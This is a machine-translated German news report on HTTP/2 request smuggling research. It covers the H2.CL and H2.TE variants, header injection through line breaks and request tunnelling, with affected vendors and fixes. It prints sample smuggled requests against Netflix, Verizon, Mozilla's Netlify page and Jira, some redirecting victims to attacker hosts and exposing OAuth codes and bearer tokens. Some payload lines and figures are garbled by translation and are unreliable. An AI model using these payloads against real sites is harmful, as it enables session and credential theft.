Websysteme, bei denen das Frontend Verbindungen über HTTP/2 akzeptiert und diese über HTTP/1.1 an das Backend übermittelt, sind einer neuen Variante des „HTTP Request Smuggling“-Angriffs ausgesetzt, der es ermöglicht, durch das Senden speziell entwickelter Client-Anfragen dies zu erreichen sich in den Inhalt von Anfragen anderer Benutzer einschleichen, die im gleichen Fluss zwischen Frontend und Backend verarbeitet werden. Der Angriff kann verwendet werden, um bösartigen JavaScript-Code in eine Sitzung mit einer legitimen Website einzufügen, Zugriffsbeschränkungssysteme zu umgehen und Authentifizierungsparameter abzufangen.
Das Problem betrifft Web-Proxys, Load Balancer, Web-Beschleuniger, Content-Delivery-Systeme und andere Konfigurationen, bei denen Anfragen vom Front-End zum Backend umgeleitet werden. Der Autor der Studie zeigte die Möglichkeit eines Angriffs auf die Systeme von Netflix, Verizon, Bitbucket, Netlify CDN und Atlassian auf und erhielt Belohnungsprogramme in Höhe von 56 US-Dollar für die Identifizierung von Schwachstellen. Das Problem wurde auch bei Produkten von F5 Networks bestätigt. Das Problem betrifft teilweise mod_proxy im Apache-HTTP-Server (CVE-2021-33193), eine Behebung wird in Version 2.4.49 erwartet (die Entwickler wurden Anfang Mai über das Problem informiert und hatten 3 Monate Zeit, es zu beheben). In Nginx wurde die Möglichkeit, die Header „Content-Length“ und „Transfer-Encoding“ gleichzeitig anzugeben, in der letzten Version (1.21.1) blockiert. Angriffstools sind bereits im Burp-Toolkit enthalten und in Form der Turbo Intruder-Erweiterung verfügbar.
Das Funktionsprinzip der neuen Methode zur Einbindung von Anfragen in den Datenverkehr ähnelt der Schwachstelle, die derselbe Forscher vor zwei Jahren identifiziert hat, ist jedoch auf Frontends beschränkt, die Anfragen über HTTP/1.1 akzeptieren. Erinnern wir uns daran, dass im Frontend-Backend-Schema Clientanfragen von einem zusätzlichen Knoten empfangen werden – dem Frontend, das eine langlebige TCP-Verbindung mit dem Backend herstellt, das Anfragen direkt verarbeitet. Über diese gemeinsame Verbindung werden in der Regel Anfragen verschiedener Nutzer übermittelt, die getrennt durch das HTTP-Protokoll nacheinander der Kette folgen.
Der klassische „HTTP Request Smuggling“-Angriff basierte auf der Tatsache, dass Frontends und Backends die Verwendung von HTTP-Headern als „Content-Length“ (bestimmt die Gesamtgröße der Daten in der Anfrage) und „Transfer-Encoding: chunked“ (erlaubt) interpretieren (Teilweise zu übertragende Daten) unterschiedlich. . Wenn das Frontend beispielsweise nur „Content-Length“ unterstützt, aber „Transfer-Encoding: chunked“ ignoriert, könnte ein Angreifer eine Anfrage senden, die sowohl die Header „Content-Length“ als auch „Transfer-Encoding: chunked“ enthält, aber Die Größe „Content-Length“ stimmt nicht mit der Größe der segmentierten Kette überein. In diesem Fall verarbeitet und leitet das Frontend die Anfrage gemäß „Content-Length“ weiter und das Backend wartet auf den Abschluss des Blocks basierend auf „Transfer-Encoding: chunked“ und der verbleibende Schwanz der Anfrage des Angreifers Als nächstes wird die Anfrage einer anderen Person zu Beginn übermittelt.
Im Gegensatz zum Textprotokoll HTTP/1.1, das auf Zeilenebene geparst wird, ist HTTP/2 ein Binärprotokoll und manipuliert Datenblöcke einer vorab festgelegten Größe. Allerdings verwendet HTTP/2 Pseudo-Header, die regulären HTTP-Headern entsprechen. Im Falle einer Interaktion mit dem Backend über das HTTP/1.1-Protokoll übersetzt das Frontend diese Pseudo-Header in ähnliche HTTP-Header HTTP/1.1. Das Problem besteht darin, dass das Backend Entscheidungen über das Parsen des Streams auf der Grundlage der vom Frontend festgelegten HTTP-Header trifft, ohne Informationen über die Parameter der ursprünglichen Anfrage zu haben.
Insbesondere die Werte „content-length“ und „transfer-encoding“ können in Form von Pseudo-Headern übertragen werden, obwohl sie in HTTP/2 nicht verwendet werden, da die Größe aller Daten bestimmt wird in einem separaten Feld. Bei der Konvertierung einer HTTP/2-Anfrage in HTTP/1.1 werden diese Header jedoch übertragen und können das Backend verwirren. Es gibt zwei Hauptangriffsvarianten: H2.TE und H2.CL, bei denen das Backend durch einen falschen Übertragungskodierungs- oder Inhaltslängenwert in die Irre geführt wird, der nicht der tatsächlichen Größe des vom Frontend über empfangenen Anforderungstexts entspricht HTTP/2-Protokoll.
Ein Beispiel für einen H2.CL-Angriff ist die Angabe einer falschen Größe im Pseudoheader mit Inhaltslänge beim Senden einer HTTP/2-Anfrage an Netflix. Diese Anfrage führt zum Hinzufügen eines ähnlichen HTTP-Headers Content-Length beim Zugriff auf das Backend über HTTP/1.1, aber da die Größe in Content-Length kleiner als die tatsächliche angegeben ist, wird ein Teil der Daten im Tail als verarbeitet Beginn der nächsten Anfrage.
Fordern Sie beispielsweise HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar an
Führt dazu, dass eine Anfrage an das Backend gesendet wird: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Da Content-Length den Wert 4 hat, akzeptiert das Backend nur „abcd“ als Hauptteil der Anfrage und der Rest von „GET /n HTTP/1.1...“ wird als Anfang einer nachfolgenden Anfrage verarbeitet mit einem anderen Benutzer verknüpft. Dementsprechend wird der Stream desynchronisiert und als Reaktion auf die nächste Anfrage wird das Ergebnis der Verarbeitung der Dummy-Anfrage ausgegeben. Im Fall von Netflix führte die Angabe eines Drittanbieter-Hosts im „Host:“-Header in einer Dummy-Anfrage dazu, dass der Client die Antwort „Location: https://02.rs?x.netflix.com/n“ zurückgab erlaubt das Senden beliebiger Inhalte an den Client, einschließlich der Ausführung Ihres JavaScript-Codes im Kontext der Netflix-Site.
Die zweite Angriffsoption (H2.TE) beinhaltet das Ersetzen des Headers „Transfer-Encoding: chunked“. Die Verwendung des Transfer-Encoding-Pseudo-Headers in HTTP/2 ist durch die Spezifikation verboten und damit verbundene Anfragen müssen als falsch behandelt werden. Dennoch berücksichtigen einige Frontend-Implementierungen diese Anforderung nicht und erlauben die Verwendung eines transferkodierenden Pseudo-Headers in HTTP/2, der in einen ähnlichen HTTP-Header umgewandelt wird. Wenn ein „Transfer-Encoding“-Header vorhanden ist, kann das Backend diesen als höhere Priorität annehmen und die Daten Stück für Stück im „chunked“-Modus unter Verwendung von Blöcken unterschiedlicher Größe im Format „{size}\r\n{block.“ analysieren }\r\n{size} \r\n{block}\r\n0", trotz der anfänglichen Division durch die Gesamtgröße.
Dass es eine solche Lücke gibt, wurde am Beispiel von Verizon gezeigt. Das Problem betraf das Authentifizierungsportal und Content-Management-System, das auch auf Seiten wie Huffington Post und Engadget zum Einsatz kommt. Zum Beispiel eine Client-Anfrage über HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Führte zum Senden einer HTTP/1.1-Anfrage an das Backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. Nettoinhalt - Länge: 10x=
Das Backend wiederum ignorierte den Header „Content-Length“ und führte eine In-Stream-Aufteilung basierend auf „Transfer-Encoding: chunked“ durch. In der Praxis ermöglichte der Angriff die Umleitung von Benutzeranfragen auf ihre Website, einschließlich des Abfangens von Anfragen im Zusammenhang mit der OAuth-Authentifizierung, deren Parameter im Referer-Header angezeigt wurden, sowie die Simulation einer Authentifizierungssitzung und die Auslösung des Sendens von Anmeldeinformationen durch das System des Benutzers an den Host des Angreifers. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referrer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorisierung: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Um HTTP/2-Implementierungen anzugreifen, die die Angabe des Transfer-Encoding-Pseudo-Headers nicht zulassen, wurde eine andere Methode vorgeschlagen, bei der der „Transfer-Encoding“-Header durch Anhängen an andere Pseudo-Header, getrennt durch ein Zeilenumbruchzeichen, ersetzt wird ( Bei der Konvertierung in HTTP/1.1 werden in diesem Fall zwei separate HTTP-Header erstellt.
Von diesem Problem waren beispielsweise Atlassian Jira und Netlify CDN (zur Bereitstellung der Mozilla-Startseite in Firefox) betroffen. Insbesondere die HTTP/2-Anfrage :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Inhaltslänge: 5\r\n \r\nx=
führte dazu, dass HTTP/1.1 POST / HTTP/1.1-Anfrage an das Backend gesendet wurde\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Inhaltslänge: 5\r\n \r \nx=
Eine andere Möglichkeit, den „Transfer-Encoding“-Header zu ersetzen, bestand darin, ihn an den Namen eines anderen Pseudo-Headers oder an eine Zeile mit einer Anfragemethode anzuhängen. Beim Zugriff auf Atlassian Jira führte beispielsweise der Pseudo-Header-Name „foo: bar\r\ntransfer-encoding“ mit dem Wert „chunked“ dazu, dass die HTTP-Header „foo: bar“ und „transfer-encoding: chunked“ hinzugefügt wurden und die Angabe des Pseudo-Header-„:method“-Werts „GET / HTTP/1.1\r\nTransfer-encoding: chunked“ wurde in „GET / HTTP/1.1\r\ntransfer-encoding: chunked“ übersetzt.
Der Forscher, der das Problem identifizierte, schlug außerdem eine Anfrage-Tunneling-Technik zum Angriff auf Frontends vor, bei der jede IP-Adresse eine separate Verbindung zum Backend aufbaut und der Datenverkehr von verschiedenen Benutzern nicht gemischt wird. Die vorgeschlagene Technik erlaubt keine Beeinträchtigung von Anfragen anderer Benutzer, ermöglicht jedoch die Vergiftung eines gemeinsam genutzten Caches, der sich auf die Verarbeitung anderer Anfragen auswirkt, und ermöglicht die Ersetzung interner HTTP-Header, die zum Übertragen von Dienstinformationen vom Frontend zum Backend verwendet werden ( B. bei der Authentifizierung auf der Frontend-Seite in Solche Header können Informationen über den aktuellen Benutzer an das Backend übermitteln. Als Beispiel für die praktische Anwendung der Methode konnte mithilfe von Cache Poisoning die Kontrolle über Seiten im Bitbucket-Dienst erlangt werden.
Source: opennet.ru